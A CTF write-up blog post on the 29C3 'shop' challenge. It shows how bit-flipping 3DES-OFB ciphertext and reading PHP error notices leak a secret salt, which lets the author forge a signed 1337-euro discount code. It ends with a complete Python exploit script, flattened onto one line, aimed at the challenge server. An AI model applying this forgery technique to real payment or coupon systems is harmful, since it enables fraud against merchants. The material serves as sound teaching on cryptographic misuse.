30
Dec
2012

29C3 CTF – shop

https://29c3ctf.aachen.ccc.de/challenges/15/
Points 400
Description
Leaks… Even the flag for this challenge got leaked to them… To the shop…
http://94.45.252.234/

The shop challenge consists of a webshop page with two items, a very cheap item and an item that costs 1337 euro. From the challenge description it is obvious that we need to buy the most expensive one to obtain the flag.

Since the payment system is not implemented the only way to obtain this item is to manipulate the discount system. The discount system generates a signed discount code which can be entered on the order page in place of payment.

There is a page which generates a 5 euro discount code, which is not enough to actually pay for the expensive item (you an only specify one discount code at a time) but it serves as a nice starting point for analysing the system.

The page which generates the discount code is http://94.45.252.234/free.php. On this page there is a link to the page http://94.45.252.234/free.php?random=445, where 445 is a random value that changes every time you load the page.

Entering this code on cart.php shows a discount item in your shopping cart which reduces the price by 5 euro. This item can also be removed, which goes to the following url:

http://94.45.252.234/cart.php?reduction=

Changing this url to turn the reduction parameter into an array gives some interesting errors:

http://94.45.252.234/cart.php?reduction[]=1

Warning: setcookie() expects parameter 2 to be string, array given in /var/www/reduction.inc on line 11

Warning: base64_decode() expects parameter 1 to be string, array given in /var/www/reduction.inc on line 15

This shows that something is going wrong in the php file reduction.inc. The interesting thing is that because this file does not have the .php extension, it will not be interpreted by php when requesting the page directly from the browser.

http://94.45.252.234/reduction.inc:

<?php
function get_reduction() {
        global $key, $iv, $salt;
        $reduction = "";
        if(array_key_exists('reduction', $_POST)) {
                $reduction = $_POST['reduction'];
                setcookie('shop_reduction', $reduction);
        }
        else if(array_key_exists('reduction', $_GET)) {
                $reduction = $_GET['reduction'];
                setcookie('shop_reduction', $reduction);
        }
        else if(array_key_exists('shop_reduction', $_COOKIE))
                $reduction = $_COOKIE['shop_reduction'];
        $reduction = base64_decode($reduction);
        if(strlen($reduction) < 16 + 4 + strlen($salt))
                return 0;
        $md5 = substr($reduction, -16);
        $reduction = substr($reduction, 0, -16);
        $reduction = mcrypt_ofb(MCRYPT_3DES, $key, $reduction,  MCRYPT_DECRYPT, $iv);
        list($in_salt, $amount, $rnd) = explode('.', $reduction);
        #if($in_salt != $salt)
        #        print "bad salt";
        #if($md5 != md5($reduction, true))
        #        print "bad hash for |$reduction|".md5($reduction, true)."|\n";
        if(($in_salt == $salt) && ($md5 == md5($reduction, true)))
                return (int)$amount;
        else
                return 0;
}

function gen_reduction($rnd, $amount) {
        //used in free.php for promoters only!
        global $key, $iv, $salt;
        $reduction = "$salt.$amount.$rnd";
        $md5 = md5($reduction, true);
        $reduction = mcrypt_ofb(MCRYPT_3DES, $key, $reduction,  MCRYPT_ENCRYPT, $iv);
        return base64_encode($reduction . $md5);
}
?>

This shows the exact way the discount codes are generated: The discount code consists of the discount code encrypted using 3DES in OFB mode, and an MD5 hash of the plaintext discount information. Because the discount information contains a secret salt the MD5 hash can only be generated by the server, which ensures that the discount information was not modified.

The secret values $iv, $key and $salt are not in this file however, so we do not know them.

Let’s start with looking at how we can modify the discount code, ignoring the fact that the MD5 hash will catch the changes. In this case the 3DES algorithm is used in OFB (output feedback mode), which is an unusual choice. In this mode 3DES is only used to generate a keystream from the key and the iv, which is then XOR’ed with the plaintext to create the ciphertext. While we don’t know the keystream, we do know quite a bit about the plaintext. In fact, the only part we don’t know is the salt. This means that we can recover the keystream used to encrypt the discount amount and the random value by xor’ing the known plaintext with the ciphertext returned by the server.

So this is quite interesting, and we can change the discount amount. Unfortunatly we don’t know the salt value, so we can’t generate the correct MD5 sum for our changed discount information, which will lead to the discount code being ignored.

Here we can use another thing made possible by the use of OFB mode. since the plaintext is generated by xor’ing the ciphertext with the keystream, we can flip bits in the plaintext by flipping the corresponding bit in the ciphertext.

So we can change values in the plaintext. How is this useful? In the source code we can see that the discount code is parsed by splitting on ‘.’ characters. PHP does not mind if we add ‘.’ characters to the plaintext, since it will simply throw away the extra values which appear after splitting. If we remove one of the existing ‘.’ characters however, there will not be enough segments after splitting to fill the three variables. This will lead to a notice being output to the browser.

So first we will loop over all the characters in the encrypted discount code and flip a bit in that character. If a notice appears, this means that a ‘.’ was at this position.

Now we take the discount code and flip a bit in one of the ‘.’ characters. This plaintext will have one ‘.’ less than expected. Now we can try to find the value for the first character of the ciphertext that will turn that character into a ‘.’ in the plaintext. We can just loop over all 256 possible values and check to see with which value the notice does NOT appear.

Once we have found this value c we know the keystream byte for that position is c ^ 0x2e (0x2e is the ascii code for ‘.’). now that we have the keystream byte, we can just XOR the corresponding ciphertext byte with the keystream byte to obtain the PLAINTEXT salt byte!

Repeating this for all the bytes of the salt gives the entire salt value. using this you can generate the MD5 signature yourself, just regenerate the signature on an existing discount code to verify that this works correctly.

Now we want to get 1337 bucks. The original discount code (with a random value of 999, this value is user-controlled number < 1000) is generated by md5($salt . ".5.999"), where 5 is the amount and 999 is the random value. This means we have 6 bytes of keystream, which is enough to encrypt ($salt . ".1337."), which is a valid discount code (the random value is now empty, but it is not used anyway by the checking code). Entering this code will allow you to view the 1337 book and get the flag. Full exploit code: [python] import requests import base64 def doreq(rnd): r = requests.get("http://94.45.252.234/free.php?random=" + str(rnd)) if "<" in r.text: return None data = base64.b64decode(r.text) return (data[:-16], data[-16:]) if False: for i in range(10): d,s = doreq('-1' + ('0' * i)) print d.encode('hex') d,s = doreq('2,3') print d.encode('hex') d,s = doreq('999') print "data:", repr(d) print "sig:", repr(s) def chk(code): r = requests.post('http://94.45.252.234/cart.php',data={'reduction': code}) return r.text responses = dict() for i in range(len(d)-1): code = d[:i] + chr(ord(d[i]) ^ 1) + d[i+1:] code += s code = base64.b64encode(code) tmp = chk(code) responses.setdefault(tmp,[]).append(i) print repr(responses) point = [v for k,v in responses.iteritems() if "Notice" in k][0][0] print "using point offset %d" % point pointless = d[:point] + chr(ord(d[point]) ^ 1) + d[point+1:] salt = '' for j in range(point): #responses = dict() for i in range(256): code = pointless[:j] + chr(i) + pointless[j+1:] code += s code = base64.b64encode(code) tmp = chk(code) if "Notice" not in tmp: #keystream[j] ^ i == ord('.') #salt[j] == pointless[j] ^ keystream[j] k = ord('.') ^ i salt += chr(ord(pointless[j]) ^ k) print repr(salt) #responses.setdefault(tmp,[]).append(i) #print repr(responses) sig = s data = d code = salt + '.5.999' newsig = hashlib.md5(code).digest() print newsig.encode('hex') print sig.encode('hex') keystream = ''.join(chr(ord(i) ^ ord(j)) for i,j in zip(data, code)) code = salt + '.1337.' newsig = hashlib.md5(code).digest() enccode = ''.join(chr(ord(i) ^ ord(j)) for i,j in zip(keystream, code)) print "DISCOUNT CODE:" print base64.b64encode(enccode + newsig) [/python] Flag: 29C3_BUT_IT_WAS_SO_EXPENSIVE_1337_NOT_ENOUGH

Comments are closed.